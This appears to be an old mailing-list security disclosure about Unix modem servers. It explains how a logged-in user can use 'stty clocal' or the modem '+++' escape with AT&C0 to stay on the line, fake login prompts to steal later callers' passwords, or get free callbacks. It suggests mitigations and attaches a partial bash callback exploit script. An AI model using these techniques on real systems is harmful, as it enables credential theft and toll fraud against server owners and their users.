I believe (and have verified) that any user having account on
the (modem) server can arrange things to stole other user's passwords.
The problems are related to modem status lines, and to "escape
character" feature of most modems. The problems are not specific
to Linux, but rather to every Unix system.
The first problem may be exploited:
- the user logs in (from serial terminal - this is not limited
to just RS-232, but affects any terminal having "modem control
- the user executes a program, which sets "local" mode
(ie. stty clocal), then waits for the disconnect. After the
user disconnects, it waits for incoming connections and prompting
next users for username and password stoles their passwords.
Alternatively, the program calls the user back providing him
connection for free (server owner pays the bill). In case of
serial terminal it is, of course, impossible to dial any number,
so the user can only stole passwords.
The callback script which I use is attached to the back of this
message (however, I do it on _my_ server - someone may do it
without agreement and even knowledge of server's admin).
The second problem is related to the fact that modems return to
command mode when "+++" (followed by some amount of inactivity)
string is sent to them. Even without "clocal" hack it is possible
to exploit this problem in the same way as above. In this case
user's program has to send "+++" _silence_ to the modem, then
(after seeing OK response) it has to issue a command like AT&C0
to disable Carrier Detect control in modem. After the user
disconnects it may do things described above. This is only possible
Both holes base on the fact than this is possible to cheat the
server that the user is still online, while he/she has disconnected
leaving the program controlling his/her terminal device active, and
the device is able to accept next connection (ie. next modem call
or next user turning on serial vt100) or ie. the program can give
commands to the modem.
Both holes can be closed (of course).
By setting modems to "dumb" mode, or by disabling the "escape char"
feature - writing "escape char" value above 128 disables it on most
modems - you can close the second hole (modems no longer respond to
Eliminating the first problem requires more work. It probably should
be done in the kernel - it should be possible to prevent changing
serial port parameters (flags, speed etc) by user other than root -
I think setserial should be used to configure the devices into this
Now, without that, I have configured getty to call "telnet -8E telnet"
in place of /bin/login. The user connects to the server via /dev/ttyp*
device, and doesn't have access to real modem device (therefore he/she
can't change its settings, ie. the clocal flag). This is a quick and
dirty workaround - it would be better to create a daemon using the
same idea as telnetd (user access via /dev/ttyp*, transporting data
between the modem and corresponding /dev/ptyp*), but without messing
with sockets etc.
I'm using "-8E telnet" arguments to the telnet command, because
- (-8E) I don't want users to escape to shell from telnet, and of
course the connection must be 8-bit clean as my users want to use
- (telnet) forces telnet to connect to telnet port (which is the
default). However, without it, telnet asks telnetd to go into raw
mode, which corrupts output (stty -opost is set). Specifing port
number (even the default one) on the command line suppress sending
of some information (including "binary mode") to telnetd.
Of course, there might be a better fix for the holes. If you know of
any, please let me know!
The callback program exploiting "clocal" hole follows
declare -i PAR
while read INPUT; do
echo Got $INPUT>>$REP
while [ $PAR -le $# ]; do
VAL=`eval echo $\`echo $PAR\``
if echo -n $INPUT|grep -q "$VAL"; then
echo You are being disconnected.
sleep 1; echo -ne +++; waitfor OK; echo "Command mode">>$REP
sleep 1; echo -ne "ATZ\r\n"; waitfor OK; echo "Modem reset">>$REP
declare -i RES=0
declare -i CNT=0
while [ $CNT != 10 ]; do
sleep 20; echo -ne "ATDTmy_phone_number_goes_here\r\n";
waitfor CONNECT ERROR BUSY "NO CARRIER" "NO DIAL" RING; RES=$?;
if [ $RES = 1 ]; then
echo "Dial failed">>$REP
Network Administrator of The Palace of Youth in Warsaw
ul. Swietokrzyska Fidonet: KHC, 2:480/40
00-901 Warsaw, Poland